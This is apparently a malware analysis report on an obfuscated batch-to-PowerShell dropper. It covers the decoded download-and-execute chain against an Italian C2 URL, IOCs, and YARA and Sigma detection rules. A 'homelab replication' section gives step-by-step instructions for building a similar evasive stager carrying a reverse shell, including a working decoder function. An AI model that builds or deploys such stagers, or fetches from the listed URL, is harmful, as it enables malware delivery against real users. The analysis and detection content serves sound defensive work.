typeanalysisfamilyunclassified-danish-batch-ps-dropperconfidencelowcreated2026-06-14updated2026-06-14scriptdropperc2defense-evasionexecutionobfuscation
SHA-256: 402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177

unclassified-danish-batch-ps-dropper: 402879ff4b36 — Character-skip BAT→PowerShell downloader, Italian C2

Executive Summary

A 4.4 KB Windows batch script (123.bat) that wraps an obfuscated PowerShell one-liner. The PowerShell payload uses a custom character-skip cipher (Beting) to decode strings at runtime, downloads a Base64-wrapped second stage from an Italian bookshop domain, and reflectively executes a 22 KB payload extracted from a hardcoded offset inside the downloaded blob. No PE; CAPE cannot detonate text. Static-only inference.

What It Is

  • File: 123.bat — DOS batch script masquerading as a benign numeric filename ^[file.txt]
  • Size: 4,429 bytes ^[file.txt]
  • SHA-256: 402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177
  • Artifact ID: efedafa1-e720-43fd-ba00-8daba7f7a022 (OpenCTI) ^[metadata.json]
  • OpenCTI labels: bat, malware-bazaar ^[metadata.json]
  • Format: Plain ASCII text, single line, semicolon-separated PowerShell commands ^[file.txt]
  • CAPE: Skipped — unsupported binary class ^[dynamic-analysis.md]

The script is a first-stage stager. All threat logic lives in the inline PowerShell; the batch wrapper simply provides execution context and -windowstyle hidden.

How It Works

Outer wrapper

The batch file launches:

powershell.exe -windowstyle hidden "spsv ichoglanop; ..."

The first command stops a service named ichoglanop ^[strings.txt:1]. This is likely a previous-stage payload or a competing implant the operator wants cleared before running the new stage.

Obfuscation: the Beting cipher

The PowerShell defines two helper functions:

  • Beting($antileu) — extracts every 4th character starting at index 3 from a string literal. This is a trivial static-avoidance cipher: the visible string contains noise characters, and the real payload characters sit at positions 3, 7, 11, 15, etc. ^[strings.txt:1]
  • Trstetrets($tilsk) — executes its argument via IEX (Invoke-Expression) ^[strings.txt:1]

Decoded execution chain

Step Decoded string Effect
1 $global:Dislo = $env:APPDATA + '\\Dolicho.Sol' Staging path for payload file
2 $global:Unitise = $udglatte.Split('%') Split URL list on % delimiter
3 $global:Deka = New-Object System.Net.WebClient Instantiate downloader
4 $deka.Headers['User-Agent'] = 'Mozilla/5.0 ... Firefox/143.0' Masquerade as Firefox 143 on Win10 x64
5 [Net.ServicePointManager]::SecurityProtocol = Tls12 Force TLS 1.2
6 $deka.DownloadFile($udglatte, $smsyninger116) Download from Italian C2 URL to staging path
7 Wait-loop with 4 s sleep; retries if file not present Resilience against slow downloads
8 $global:Kost = Get-Content $smsyninger116 Read downloaded file
9 $global:Inter = [System.Convert]::FromBase64String($kost) Decode Base64 layer
10 $global:Lodd = [System.Text.Encoding]::ASCII.GetString($inter) Convert to ASCII
11 $global:Thalassom187 = $lodd.Substring(428386, 22190) Extract 22 KB payload at hardcoded offset
12 IEX $thalassom187 Reflectively execute the extracted payload

^[strings.txt:1] (full chain decoded from static analysis)

Notable details

  • URL: https://libreriaduepuntozero.it/Partia.csv — the .csv extension is masquerade; the server returns executable content. ^[strings.txt:1]
  • User-Agent: A fabricated Firefox 143.0 string on Windows NT 10.0; rv:143.0 is a non-existent Firefox version, suggesting the actor copy-pasted a template and incremented the number without checking. ^[strings.txt:1]
  • Variable names: Predominantly Danish/Nordic (driftssik, entrep, bille, raadsprgen, udglatte, whel47, agropy, apothegmat, giol, amiapse, trolddo, canstsm206, tolerer, totalo, duktili, gengive, galleri, outpayment, smsyninger116, anak, parti, thalassom187). This is a strong linguistic fingerprint. ^[strings.txt:1]
  • Offset/size: The payload is extracted from offset 428386 with length 22190. The outer Base64 file must therefore be at least ~450 KB, implying the .csv masquerade hides a large blob that contains multiple payloads or extensive padding. ^[strings.txt:1]

C2 Infrastructure

  • Primary URL: https://libreriaduepuntozero.it/Partia.csv ^[strings.txt:1]
  • Domain: libreriaduepuntozero.it — registered to an Italian bookshop ("libreria due punto zero"). Likely compromised legitimate infrastructure, not attacker-registered. ^[strings.txt:1]
  • Protocol: HTTPS, TLS 1.2 enforced client-side ^[strings.txt:1]
  • No fallback URLs: The $unitise array is built from a single URL split on %, which does not appear in the URL, so the array has exactly one element. No failover C2 observed. ^[strings.txt:1]

Interesting Tidbits

  • The service name ichoglanop has no known legitimate Windows service mapping; it is likely a random string used by a prior implant or a competing malware family. Stopping it before staging suggests operator awareness of prior infections. ^[strings.txt:1]
  • The Beting cipher is trivially reversible — the noise characters are uniformly distributed and the real characters sit at a fixed stride. Any regex that extracts characters at positions 4n+3 from quoted strings inside a batch file would recover the plaintext. ^[strings.txt:1]
  • The $mari=Compare-Object stormest beau inside the Beting loop is dead code — it assigns a comparison result to a variable never used. Its purpose is to pad the loop body and slow down naive static regex approaches. ^[strings.txt:1]
  • The giol value (\\Dolicho.Sol) forms a filename that reads like a truncated or misspelled botanical term (Dolichos is a legume genus). Combined with Danish variable names, this suggests a non-native English speaker with a scientific or natural-history vocabulary. ^[strings.txt:1]
  • The payload offset (428386) and length (22190) are hardcoded decimal literals, not computed at runtime. This means the outer blob must be pre-built to match these constants; changing the blob requires recompiling the stager. ^[strings.txt:1]

How To Mess With It (Homelab Replication)

Goal: Build a comparable batch→PowerShell stager that uses a character-skip cipher for string obfuscation.

Toolchain: Any text editor + PowerShell 5.1+ on Windows 10/11.

Steps:

  1. Write a PowerShell payload you want to stage (e.g., a simple reverse-shell or beacon script).
  2. Embed it inside a larger Base64 file at a known offset, padding with random noise before and after.
  3. Write a batch wrapper: @echo off + powershell.exe -windowstyle hidden "...".
  4. Implement a Beting-style function: function Decode($s) { $out=''; for ($i=3; $i -lt $s.Length; $i+=4) { $out+=$s[$i] }; $out }.
  5. Encode every sensitive string (URLs, paths, API calls) by inserting three noise characters before each real character.
  6. Add dead-code assignments inside the decoder loop to pad analysis time.
  7. Stage the Base64 blob on a local HTTPS server and verify the downloader retrieves, decodes, and extracts the payload at the correct offset.

Verification: Run the batch file in a VM; confirm %APPDATA%\Dolicho.Sol is written, then confirm the IEXed payload executes.

Deployable Signatures

YARA rule

rule bat_danish_char_skip_dropper {
    meta:
        description = "Danish-variable batch→PowerShell dropper with Beting character-skip cipher"
        author = "pp-hermes"
        date = "2026-06-14"
        hash = "402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177"
        confidence = "medium"
    strings:
        $bat_ps = "powershell.exe -windowstyle hidden" noc ascii
        $func_beting = "function Beting" noc ascii
        $func_trst = "function Trstetrets" noc ascii
        $iex_alias = ".($agropy)" noc ascii
        $ua_ff143 = "Firefox/143.0" noc ascii
        $tls12 = "Tls12" noc ascii
        $danish_var1 = "$driftssik=" noc ascii
        $danish_var2 = "$udglatte=" noc ascii
        $danish_var3 = "$smsyninger" noc ascii
        $danish_var4 = "$thalassom" noc ascii
        $offset = "$anak=428386" noc ascii
    condition:
        $bat_ps and $func_beting and $func_trst and
        2 of ($danish_var*) and filesize < 10KB
}

Behavioral hunt (Sigma)

title: Danish Batch PowerShell Dropper Execution
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains:
      - 'powershell.exe -windowstyle hidden'
      - 'function Beting'
      - 'function Trstetrets'
  condition: selection
falsepositives:
  - Unknown
level: high

IOC list

Indicator Type Note
402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177 SHA-256 Batch stager
123.bat Filename Original name
https://libreriaduepuntozero.it/Partia.csv URL Stage-1 download (likely compromised)
%APPDATA%\Dolicho.Sol File path Payload staging location
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 User-Agent Fabricated FF version
ichoglanop Service name Stopped at launch; unknown legitimate mapping

Behavioral fingerprint

A batch script launches powershell.exe -windowstyle hidden with an inline script defining a Beting decoder function (character-skip cipher at stride 4) and a Trstetrets IEX executor. The script sets a Firefox 143.0 User-Agent, forces TLS 1.2, downloads a .csv file from an Italian HTTPS domain to %APPDATA%\Dolicho.Sol, Base64-decodes it, extracts a ~22 KB substring at offset 428386, and reflectively executes it via IEX.

Detection Signatures

ATT&CK Technique Evidence Source
T1059.003 (Windows Command Shell) Batch file launches PowerShell ^[strings.txt:1]
T1059.001 (PowerShell) Inline -windowstyle hidden script with IEX ^[strings.txt:1]
T1105 (Ingress Tool Transfer) Net.WebClient.DownloadFile to fetch remote payload ^[strings.txt:1]
T1620 (Reflective Code Loading) IEX executes payload extracted from Base64 blob without disk write ^[strings.txt:1]
T1027 (Obfuscated Files or Information) Beting character-skip cipher hides plaintext strings ^[strings.txt:1]
T1070.004 (File Deletion) spsv ichoglanop — stops and implicitly clears prior service ^[strings.txt:1]

References

Provenance

  • Static analysis from strings.txt (the complete script body, single line, 4429 bytes) decoded with a Python regex reimplementation of the Beting cipher.
  • file.txt confirms ASCII text; pefile.txt confirms not PE; binwalk.txt shows no embedded artifacts; capa.txt and floss.txt both failed because the sample is not a supported executable format.
  • dynamic-analysis.md confirms CAPE skipped the sample.
  • No dynamic execution data available; all behavior inferred from static deobfuscation.